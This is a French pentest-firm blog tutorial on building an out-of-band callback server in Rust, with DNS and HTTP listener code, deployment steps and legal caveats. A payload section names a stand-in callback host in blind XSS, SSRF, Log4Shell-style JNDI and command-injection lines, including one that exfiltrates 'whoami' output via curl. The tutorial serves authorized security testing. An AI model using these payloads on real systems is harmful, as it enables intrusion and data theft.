Aller au contenu principal
own2pwn
appsec/serveur-oob-pentest.tsx

Construire son serveur OOB pour le pentest (from scratch, en Rust)

Blind SSRF, blind XSS, RCE aveugle : certaines failles ne renvoient rien dans la réponse. Pour les prouver, il faut un serveur out-of-band (OOB) — comme Burp Collaborator ou interactsh, mais le vôtre. On en construit un from scratch en Rust : DNS autoritatif, catch-all HTTP, corrélation et dashboard live. Code complet open-source.

Maxime Jérôme··14 min de lecture

Vous injectez un payload dans un champ. La réponse HTTP revient : 200 OK, rien d'anormal, aucune donnée qui fuit, aucun message d'erreur. Et pourtant, quelque part côté serveur, votre charge s'est bel et bien exécutée. Elle a juste recraché son résultat ailleurs que dans la page que vous regardez. Bienvenue dans le monde des failles aveugles — et dans la seule façon fiable de les prouver : le canal out-of-band (OOB).

Morpheus : et si je te disais que la faille est là, tu ne peux juste pas la voir
La blind SSRF en une image : elle est là, la réponse ne vous le dira jamais.

Les outils du marché s'appellent Burp Collaborator ou interactsh. Ils sont excellents — mais ce sont des boîtes noires. Le meilleur moyen de comprendre vraiment ce qu'ils font, c'est d'en construire un. Alors on va le faire : un serveur OOB minimal mais fonctionnel, from scratch en Rust, en ~700 lignes lisibles. DNS autoritatif fait main, catch-all HTTP, corrélation des callbacks et dashboard temps réel. Le code complet est en open-source à la fin.

Cadre légal — à lire avant tout
Héberger un serveur OOB est parfaitement légal. L'utiliser contre un système dont vous n'êtes ni propriétaire ni mandaté pour le tester ne l'est pas. Tout ce qui suit s'inscrit dans le cadre d'un pentest autorisé (mandat écrit, périmètre défini) ou d'un lab que vous possédez. On construit un outil défensif de preuve, pas une arme.

Le problème : les failles qu'on ne voit pas

Une faille classique vous répond dans la même requête : vous envoyez ' OR 1=1--, la page affiche toute la table. C'est de l'in-band. Mais une grande partie des vulnérabilités modernes sont aveugles : le serveur exécute votre charge sans jamais rien renvoyer d'exploitable dans la réponse. Quelques classiques :

  • Blind SSRF — vous forcez le serveur à émettre une requête sortante (vers une URL que vous contrôlez), mais la réponse de cette requête ne vous est jamais montrée.
  • Blind XSS — votre payload JavaScript s'exécute, mais dans le navigateur d'un admin, sur une page back-office que vous ne verrez jamais.
  • RCE / injection de commande aveugle — la commande tourne, mais sa sortie ne revient pas (pas de stdout dans la réponse).
  • Exfiltration SQL out-of-band — une injection qui ne renvoie rien, mais peut déclencher une requête DNS depuis le SGBD.
  • XXE aveugle — un parseur XML qui résout une entité externe vers une ressource distante.

Le point commun ? Dans tous ces cas, on peut faire faire au système cible une connexion sortante — une résolution DNS, une requête HTTP. Si cette connexion atterrit sur un serveur que vous contrôlez, vous tenez votre preuve. C'est exactement ce qu'un serveur OOB capture.

Le principe en une image

Vous possédez un domaine et vous déléguez un sous-domaine — disons oob.example.com — à votre serveur. Vous glissez un nom unique dans votre payload. Quand la cible le résout ou le contacte, le callback arrive chez vous, horodaté, avec l'IP source.

flux-oob
Vous
Vous plantez un payload
http://deadbeef.oob.example.com/
La cible
Application vulnérable à la SSRF
Elle résout puis contacte le nom — sans jamais vous montrer la réponse.
Votre serveur · DNS
DNS autoritatif
Logue DNS deadbeef, répond A 203.0.113.10.
Votre serveur · HTTP
Catch-all HTTP
Logue HTTP deadbeef, répond un 200 OK anodin.
Vous
Callback visible dans votre dashboard
Horodaté, avec l'IP source. La preuve de la faille aveugle.
La cible déclenche une connexion sortante vers un nom que vous contrôlez. Ce paquet EST la preuve.

Nuance importante : un hit DNS seul prouve que quelque chose a résolu le nom (un resolver, un anti-spam, un proxy…). Un hit HTTP, lui, est une confirmation dure : une vraie connexion sortante a eu lieu. On garde cette distinction en tête, elle est au cœur de la fiabilité d'un OOB.

Ce qu'on va construire

Trois composants au-dessus d'un store mémoire partagé, le tout dans un seul binaire Rust (runtime async tokio) :

  • Un serveur DNS autoritatif (UDP/53) qui répond pour notre zone et logue chaque résolution.
  • Un catch-all HTTP (TCP/80) qui capture n'importe quelle requête (méthode, chemin, en-têtes, corps) et répond un 200 OK anodin.
  • Un dashboard live (localhost) qui affiche les callbacks en temps réel + une petite API JSON.
architecture
Socle
TokenStore (mémoire)
Tokens + callbacks, partagé par tous les écouteurs.
Écouteur
Dashboard · :8080
Vue live + API JSON, sur la loopback.
Écouteur
HTTP catch-all · TCP :80
Capture toute requête, répond 200.
Écouteur
DNS autoritatif · UDP :53
Répond + logue chaque résolution.
Trois écouteurs indépendants au-dessus d'un même store mémoire. (Survolez pour écarter les couches.)

On n'utilise aucune bibliothèque DNS ni framework web : l'intérêt, c'est justement de voir le protocole sur le fil. Deux dépendances en tout (tokio et serde_json).

Étape 0 : le domaine et la délégation DNS

C'est l'étape qu'on oublie toujours, et sans elle rien ne marche. Pour que votre serveur soit interrogé quand la cible résout deadbeef.oob.example.com, il doit être autoritatif pour la zone oob.example.com. Concrètement, chez votre registrar (sur la zone example.com), vous créez une délégation :

dns
; délégation de oob.example.com vers votre serveur
oob.example.com.       NS    ns1.oob.example.com.
oob.example.com.       NS    ns2.oob.example.com.

; glue records : l'IP publique de votre VPS
ns1.oob.example.com.   A     203.0.113.10
ns2.oob.example.com.   A     203.0.113.10

Les glue records sont indispensables : sans eux, un resolver tournerait en rond (il faut résoudre ns1.oob.example.com pour joindre oob.example.com, qui dépend de… ns1). Le glue casse la boucle en pré-câblant l'IP au niveau du parent. Une fois en place, on vérifie :

resolution-dns
La cible
Résolveur de la cible
Cherche à résoudre deadbeef.oob.example.com.
Parent · example.com
Délégation chez le registrar
NS ns1/ns2.oob.example.com, avec glue A → 203.0.113.10.
Votre serveur
DNS autoritatif (203.0.113.10)
Fait autorité sur la zone : répond l'enregistrement A et logue l'interaction.
La délégation envoie le résolveur de la cible jusqu'à VOTRE serveur, qui répond et logue.
bash
# la délégation est-elle vue depuis l'extérieur ?
dig NS oob.example.com @8.8.8.8 +short

# notre serveur répond-il en direct sur son IP ?
dig A test.oob.example.com @203.0.113.10 +short
# → 203.0.113.10
Choisissez un domaine neutre
N'utilisez pas un sous-domaine de votre société de pentest (genre oob.ma-boite-secu.fr). Beaucoup de WAF et de blue teams blacklistent les domaines OOB connus, et un nom qui crie « pentest » se fait filtrer. Un domaine quelconque et anodin passe bien mieux.

Étape 1 : un serveur DNS autoritatif minimal

Une requête DNS, c'est un en-tête de 12 octets suivi d'une question : le QNAME (les labels du nom, chacun préfixé par sa longueur, terminé par un octet nul), puis le QTYPE et le QCLASS sur 2 octets chacun. Dans une question, pas de compression de noms : on peut donc parser à plat. On extrait le nom et le type :

rust
/// Parse la section question : renvoie (qname, index après le qname, qtype).
fn parse_query(buf: &[u8]) -> Option<(String, usize, u16)> {
    if buf.len() < 12 { return None; }                 // en-tête = 12 octets
    if u16::from_be_bytes([buf[4], buf[5]]) < 1 { return None; } // QDCOUNT

    let mut pos = 12usize;
    let mut labels: Vec<String> = Vec::new();
    loop {
        let len = *buf.get(pos)? as usize;
        if len == 0 { pos += 1; break; }               // label racine -> fin
        if len & 0xC0 != 0 { return None; }            // pointeur de compression : non
        pos += 1;
        let end = pos.checked_add(len)?;
        if end > buf.len() { return None; }
        labels.push(String::from_utf8_lossy(&buf[pos..end]).into_owned());
        pos = end;
    }
    let qtype = u16::from_be_bytes([buf[pos], buf[pos + 1]]);
    Some((labels.join("."), pos, qtype))
}

Pour la réponse, on recopie l'ID de transaction, on lève les bons bits (QR = réponse, AA = autoritatif), on ré-émet la question, puis — pour une requête A — on ajoute un enregistrement pointant vers notre IP publique. L'astuce de compression 0xC0 0x0C évite de réécrire le nom : c'est un pointeur vers la question, à l'offset 12.

rust
fn build_response(req: &[u8], qname_end: usize, qtype: u16, ip: [u8; 4]) -> Option<Vec<u8>> {
    let q_end = qname_end + 4;                 // inclut QTYPE + QCLASS
    let rd = req[2] & 0x01;                    // on préserve le bit Recursion-Desired
    let answer_a = qtype == 1;                 // 1 = A

    let mut out = Vec::new();
    out.extend_from_slice(&req[0..2]);         // ID de transaction, ré-émis
    out.push(0x84 | rd);                       // QR=1, AA=1, RD copié
    out.push(0x00);                            // RCODE=0 (NOERROR)
    out.extend_from_slice(&[0x00, 0x01]);      // QDCOUNT = 1
    out.extend_from_slice(&[0x00, if answer_a { 1 } else { 0 }]); // ANCOUNT
    out.extend_from_slice(&[0, 0, 0, 0]);      // NSCOUNT, ARCOUNT
    out.extend_from_slice(&req[12..q_end]);    // on ré-émet la question

    if answer_a {
        out.extend_from_slice(&[0xC0, 0x0C]);              // NAME -> pointeur vers offset 12
        out.extend_from_slice(&[0x00, 0x01, 0x00, 0x01]);  // TYPE=A, CLASS=IN
        out.extend_from_slice(&[0x00, 0x00, 0x00, 0x1E]);  // TTL = 30s
        out.extend_from_slice(&[0x00, 0x04]);              // RDLENGTH = 4
        out.extend_from_slice(&ip);                        // RDATA = l'IPv4
    }
    Some(out)
}

Le tout tourne dans une boucle recv_from / send_to sur un UdpSocket tokio. Chaque requête est loguée avant qu'on réponde : même une résolution AAAA sans réponse exploitable reste une preuve d'interaction.

Pourquoi pas une lib DNS ?
En prod, on s'appuierait sur une vraie pile DNS (gestion SOA, NS au apex, TCP, EDNS…). Ici, le but est pédagogique : 60 lignes de wire-format valent dix pages de doc. Pour répondre à des lookups A et tout logger, c'est amplement suffisant.

Étape 2 : le catch-all HTTP

Côté HTTP, on accepte tout : n'importe quelle méthode, n'importe quel chemin. On lit la requête jusqu'à la fin des en-têtes (le \r\n\r\n), on extrait ce qui nous intéresse (méthode, chemin, Host, User-Agent, corps borné), on logue, et on renvoie un 200 OK insignifiant pour que la requête de la cible « réussisse » sans éveiller de soupçon.

rust
// ... après avoir lu et parsé les en-têtes ...
let host_no_port = host.split(':').next().unwrap_or("").to_string();

// Corrélation : on préfère le sous-domaine du Host, sinon le 1er segment du chemin.
let id = label_from_host(&host_no_port, &zone)
    .or_else(|| path.trim_start_matches('/').split('/').next()
        .filter(|s| !s.is_empty()).map(str::to_string))
    .unwrap_or_else(|| "@".to_string());

store.record(id, "HTTP", src, format!("{method} {path}"), raw);

// Réponse anodine : le callback doit avoir l'air parfaitement banal.
let resp = "HTTP/1.1 200 OK\r\nContent-Length: 3\r\nConnection: close\r\n\r\nok\n";
sock.write_all(resp.as_bytes()).await?;

Étape 3 : corréler les callbacks

Si vous testez 30 points d'injection, vous devez savoir lequel a déclenché un callback. D'où le token de corrélation : un label court et unique que vous plantez dans chaque payload (deadbeef.oob.example.com). Au retour, le serveur ré-extrait ce label du nom et regroupe les interactions dessus.

rust
/// abc123.oob.example.com (zone oob.example.com) -> "abc123".
/// On garde le label le plus à gauche : a.b.tok.oob.example.com -> "tok".
pub fn correlation_id(qname: &str, zone: &str) -> String {
    let q = qname.trim_end_matches('.').to_ascii_lowercase();
    let z = zone.trim_end_matches('.').to_ascii_lowercase();
    match q.strip_suffix(&format!(".{z}")) {
        Some(prefix) => prefix.rsplit('.').next().unwrap_or(prefix).to_string(),
        None => q,   // hors de notre zone : on logue quand même
    }
}
Le token ne doit RIEN encoder
Tentant d'encoder des métadonnées dans le sous-domaine (id client, numéro de test…). À proscrire : ce nom finit dans les logs DNS de la cible et de tous les resolvers du chemin. Le token doit être un identifiant opaque ; la correspondance token → contexte reste uniquement côté serveur. Notre PoC mint des tokens hexadécimaux aléatoires de 12 caractères, sans aucune sémantique.

Le store, lui, est un simple buffer mémoire borné (on ne persiste pas les callbacks d'une cible sur disque : redémarrage = ardoise propre). Chaque interaction garde proto, IP source, horodatage et la preuve brute (le QNAME, ou les en-têtes + corps HTTP).

Étape 4 : le dashboard live

Dernier morceau : une page qui interroge l'API JSON toutes les deux secondes et affiche les callbacks au fil de l'eau, plus un bouton « New payload » qui appelle /new pour générer un token frais et ses URLs prêtes à coller. Trois routes, zéro framework :

rust
let (status, ctype, body) = match path {
    "/"                  => ("200 OK", "text/html",        PAGE.replace("__ZONE__", &zone)),
    "/api/interactions"  => ("200 OK", "application/json", store.snapshot_json().to_string()),
    "/new"               => {
        let token = store.new_token();
        let payload = serde_json::json!({
            "id":   token,
            "dns":  format!("{token}.{zone}"),
            "http": format!("http://{token}.{zone}/"),
        });
        ("200 OK", "application/json", payload.to_string())
    }
    _ => ("404 Not Found", "text/plain", "not found\n".into()),
};
Le dashboard reste privé
Il expose tous les callbacks capturés. On le bind sur localhost (ou derrière un VPN / une auth). Jamais sur l'internet public.

Déployer sur un VPS

Le binaire doit écouter sur les ports 53 et 80 — des ports privilégiés. On évite de tourner en root : la capability NET_BIND_SERVICE suffit. Via Docker :

bash
docker build -t oob-poc .
docker run -d --name oob \
  --cap-add NET_BIND_SERVICE \
  -p 53:53/udp -p 53:53/tcp -p 80:80 \
  -p 127.0.0.1:8080:8080 \
  -e OOB_ZONE=oob.example.com \
  -e OOB_PUBLIC_IP=203.0.113.10 \
  oob-poc

Côté firewall : on ouvre 53/udp+tcp et 80/tcp au monde (c'est la cible qui doit nous joindre), et on garde le dashboard sur la loopback. Une vérification de bout en bout :

bash
# depuis n'importe où : déclencher un callback DNS puis HTTP
dig +short deadbeef.oob.example.com           # -> 203.0.113.10
curl http://deadbeef.oob.example.com/         # -> ok

# les deux apparaissent dans le dashboard, regroupés sous "deadbeef"

S'en servir : exemples de payloads

En test autorisé, le token s'injecte partout où vous soupçonnez une connexion sortante. Quelques exemples :

text
# SSRF dans un paramètre d'URL
https://cible/api/fetch?url=http://deadbeef.oob.example.com/

# Blind XSS (s'exécute dans un back-office que vous ne voyez pas)
"><script src=//deadbeef.oob.example.com/x.js></script>

# Injection de commande aveugle (exfil via DNS)
; curl http://deadbeef.oob.example.com/$(whoami)

# Log4Shell-like / résolution JNDI déclenchant un DNS
${jndi:dns://deadbeef.oob.example.com/a}

# En-tête Host pour un SSRF côté reverse-proxy
Host: deadbeef.oob.example.com

Le second exemple est instructif : le $(whoami) devient un sous-domaine. Comme notre catch-all logue n'importe quel label, vous récupérez la sortie de la commande directement dans le QNAME — de l'exfiltration de données par DNS, sans jamais voir la réponse HTTP de la cible.

Les limites de ce PoC (et ce qu'un vrai serveur ajoute)

Ce PoC prouve le concept et tient en une lecture. Un serveur OOB de production — comme celui qu'on opère chez own2pwn — ajoute plusieurs couches qu'on a volontairement laissées de côté pour garder le cœur lisible :

  • TLS wildcard (*.oob.example.com) via un challenge ACME DNS-01 — car beaucoup de SSRF ne partent qu'en https://.
  • Collecteurs multi-protocoles (SMTP, LDAP, FTP, TCP brut) pour prouver les SSRF par smuggling de protocole — un gopher:// ou un ${jndi:ldap://…} qui ouvre une connexion non-HTTP.
  • Isolation multi-tenant et API de polling pour piloter l'OOB depuis un scanner automatisé.
  • Épinglage de l'IP source (anti faux positifs) : on ne valide un callback que s'il vient de l'IP attendue de la cible — sinon un resolver récursif ou un attaquant tiers peut « faussement » déclencher un hit.
  • Une règle de corrélation 0-faux-positif (DNS seul = suspecté, HTTP = confirmé) appliquée côté serveur, non négociable par le client.

Ces briques font la différence entre un gadget de lab et un outil sur lequel on engage un rapport client. C'est précisément le genre d'infra qui tourne derrière notre EASM et nos pentests web blackbox — là où détecter une blind SSRF sur une surface d'attaque externe doit être fiable et sans bruit. Pour la frontière entre détection automatisée et test réel, voyez aussi pentest vs scan de vulnérabilité.

Le code complet

L'intégralité du PoC — serveur DNS, catch-all HTTP, dashboard, tests unitaires, Dockerfile — est open-source (licence MIT) :

👉 github.com/own2pwn-fr/oob-poc

Clonez, lancez en local sur des ports non privilégiés, et regardez vos premiers callbacks tomber :

bash
git clone https://github.com/own2pwn-fr/oob-poc && cd oob-poc
OOB_ZONE=oob.example.com \
OOB_DNS_BIND=127.0.0.1:15353 \
OOB_HTTP_BIND=127.0.0.1:8080 \
OOB_DASHBOARD_BIND=127.0.0.1:9090 \
  cargo run --release

# dans un autre shell
dig +short @127.0.0.1 -p 15353 deadbeef.oob.example.com
curl -H 'Host: deadbeef.oob.example.com' http://127.0.0.1:8080/
# ouvrez http://127.0.0.1:9090/

À retenir

  • Les failles aveugles (blind SSRF/XSS, RCE et SQLi out-of-band, XXE) ne se prouvent qu'avec un canal OOB : on force une connexion sortante vers un serveur qu'on contrôle.
  • Un OOB tient en trois pièces : un DNS autoritatif, un catch-all HTTP, et de la corrélation par token opaque.
  • La délégation DNS (NS + glue) est le prérequis qu'on oublie ; sans elle, le serveur n'est jamais interrogé.
  • Un hit DNS suspecte, un hit HTTP confirme. La gestion fine des faux positifs (épinglage IP source) est ce qui sépare le PoC de l'outil de prod.
  • Et bien sûr : uniquement en test autorisé.

Envie qu'on cherche ce genre de failles aveugles sur votre surface d'attaque ? C'est exactement le métier d'own2pwn — ou parlez-en directement avec un humain via la page contact.

Articles liés